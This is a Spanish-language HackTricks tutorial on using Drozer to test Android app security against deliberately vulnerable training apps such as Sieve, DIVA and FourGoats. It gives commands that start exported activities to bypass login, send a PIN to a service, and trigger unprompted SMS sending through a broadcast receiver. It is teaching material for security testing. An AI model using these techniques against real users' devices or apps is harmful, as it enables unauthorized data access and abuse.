# Tutorial de Drozer {{#include ../../../banners/hacktricks-training.md}} ## APKs para probar - [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (de mrwlabs) - [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) **Partes de este tutorial fueron extraídas de la** [**documentación pdf de Drozer**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.** ## Instalación Instala el Cliente Drozer dentro de tu host. Descárgalo de las [últimas versiones](https://github.com/mwrlabs/drozer/releases). ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted pip install service_identity ``` Descarga e instala el APK de drozer desde las [últimas versiones](https://github.com/mwrlabs/drozer/releases). En este momento es [este](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk). ```bash adb install drozer.apk ``` ### Iniciando el Servidor Agent está corriendo en el puerto 31415, necesitamos [port forward](https://en.wikipedia.org/wiki/Port_forwarding) para establecer la comunicación entre el Drozer Client y Agent, aquí está el comando para hacerlo: ```bash adb forward tcp:31415 tcp:31415 ``` Finalmente, **lanza** la **aplicación** y presiona el botón "**ON**" ![](<../../../images/image (459).png>) Y conéctate a ella: ```bash drozer console connect ``` ## Comandos Interesantes | **Comandos** | **Descripción** | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Help MODULE** | Muestra la ayuda del módulo seleccionado | | **list** | Muestra una lista de todos los módulos de drozer que se pueden ejecutar en la sesión actual. Esto oculta los módulos que no tienes permisos adecuados para ejecutar. | | **shell** | Inicia un shell de Linux interactivo en el dispositivo, en el contexto del Agente. | | **clean** | Elimina archivos temporales almacenados por drozer en el dispositivo Android. | | **load** | Carga un archivo que contiene comandos de drozer y los ejecuta en secuencia. | | **module** | Encuentra e instala módulos adicionales de drozer desde Internet. | | **unset** | Elimina una variable nombrada que drozer pasa a cualquier shell de Linux que genera. | | **set** | Almacena un valor en una variable que se pasará como una variable de entorno a cualquier shell de Linux generado por drozer. | | **shell** | Inicia un shell de Linux interactivo en el dispositivo, en el contexto del Agente | | **run MODULE** | Ejecuta un módulo de drozer | | **exploit** | Drozer puede crear exploits para ejecutar en el dispositivo. `drozer exploit list` | | **payload** | Los exploits necesitan un payload. `drozer payload list` | ### Paquete Encuentra el **nombre** del paquete filtrando por parte del nombre: ```bash dz> run app.package.list -f sieve com.mwr.example.sieve ``` **Información básica** del paquete: ```bash dz> run app.package.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Process Name: com.mwr.example.sieve Version: 1.0 Data Directory: /data/data/com.mwr.example.sieve APK Path: /data/app/com.mwr.example.sieve-2.apk UID: 10056 GID: [1028, 1015, 3003] Shared Libraries: null Shared User ID: null Uses Permissions: - android.permission.READ_EXTERNAL_STORAGE - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.INTERNET Defines Permissions: - com.mwr.example.sieve.READ_KEYS - com.mwr.example.sieve.WRITE_KEYS ``` Leer **Manifest**: ```bash run app.package.manifest jakhar.aseem.diva ``` **Superficie de ataque** del paquete: ```bash dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable ``` - **Actividades**: Tal vez puedas iniciar una actividad y eludir algún tipo de autorización que debería impedirte lanzarla. - **Proveedores de contenido**: Tal vez puedas acceder a datos privados o explotar alguna vulnerabilidad (SQL Injection o Path Traversal). - **Servicios**: - **es depurable**: [Aprende más](#is-debuggeable) ### Actividades El valor “android:exported” de un componente de actividad exportado está configurado como **“true”** en el archivo AndroidManifest.xml: ```html ``` **Listar actividades exportadas**: ```bash dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity com.mwr.example.sieve.MainLoginActivity com.mwr.example.sieve.PWList ``` **Iniciar actividad**: Quizás puedas iniciar una actividad y eludir algún tipo de autorización que debería impedirte lanzarla. ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` También puedes iniciar una actividad exportada desde **adb**: - PackageName es com.example.demo - Exported ActivityName es com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### Proveedores de Contenido Esta publicación era demasiado grande para estar aquí, así que **puedes** [**acceder a ella en su propia página aquí**](exploiting-content-providers.md). ### Servicios Un servicio exportado se declara dentro del Manifest.xml: ```html ``` Dentro del código **check** para la función **`handleMessage`** que **recibirá** el **mensaje**: ![](<../../../images/image (82).png>) #### Listar servicio ```bash dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.AuthService Permission: null com.mwr.example.sieve.CryptoService Permission: null ``` #### **Interactuar** con un servicio ```bash app.service.send Send a Message to a service, and display the reply app.service.start Start Service app.service.stop Stop Service ``` #### Ejemplo Mira la ayuda de **drozer** para `app.service.send`: ![](<../../../images/image (1079).png>) Ten en cuenta que primero enviarás los datos dentro de "_msg.what_", luego "_msg.arg1_" y "_msg.arg2_", deberías verificar dentro del código **qué información se está utilizando** y dónde.\ Usando la opción `--extra` puedes enviar algo interpretado por "_msg.replyTo_", y usando `--bundle-as-obj` creas un objeto con los detalles proporcionados. En el siguiente ejemplo: - `what == 2354` - `arg1 == 9234` - `arg2 == 1` - `replyTo == object(string com.mwr.example.sieve.PIN 1337)` ```bash run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj ``` ![](<../../../images/image (647).png>) ### Broadcast Receivers **En la sección de información básica de Android, puedes ver qué es un Broadcast Receiver**. Después de descubrir estos Broadcast Receivers, deberías **revisar el código** de ellos. Presta especial atención a la función **`onReceive`** ya que se encargará de manejar los mensajes recibidos. #### **Detectar todos** los broadcast receivers ```bash run app.broadcast.info #Detects all ``` #### Verificar los receptores de difusión de una aplicación ```bash #Check one negative run app.broadcast.info -a jakhar.aseem.diva Package: jakhar.aseem.diva No matching receivers. # Check one positive run app.broadcast.info -a com.google.android.youtube Package: com.google.android.youtube com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver Permission: null com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver Permission: com.google.android.c2dm.permission.SEND com.google.android.apps.youtube.app.PackageReplacedReceiver Permission: null com.google.android.libraries.youtube.account.AccountsChangedReceiver Permission: null com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver Permission: null ``` #### Interacciones **Broadcast** ```bash app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent app.broadcast.sniff Register a broadcast receiver that can sniff particular intents ``` #### Enviar un mensaje En este ejemplo, abusando del [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, puedes **enviar un SMS arbitrario** a cualquier destino no premium **sin pedir** permiso al usuario. ![](<../../../images/image (415).png>) ![](<../../../images/image (573).png>) Si lees el código, los parámetros "_phoneNumber_" y "_message_" deben ser enviados al Content Provider. ```bash run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!" ``` ### Es depurable Un APK de producción nunca debe ser depurable.\ Esto significa que puedes **adjuntar un depurador de java** a la aplicación en ejecución, inspeccionarla en tiempo de ejecución, establecer puntos de interrupción, avanzar paso a paso, recopilar valores de variables e incluso cambiarlos. [InfoSec institute tiene un excelente artículo](../exploiting-a-debuggeable-applciation.md) sobre cómo profundizar cuando tu aplicación es depurable e inyectar código en tiempo de ejecución. Cuando una aplicación es depurable, aparecerá en el Manifest: ```xml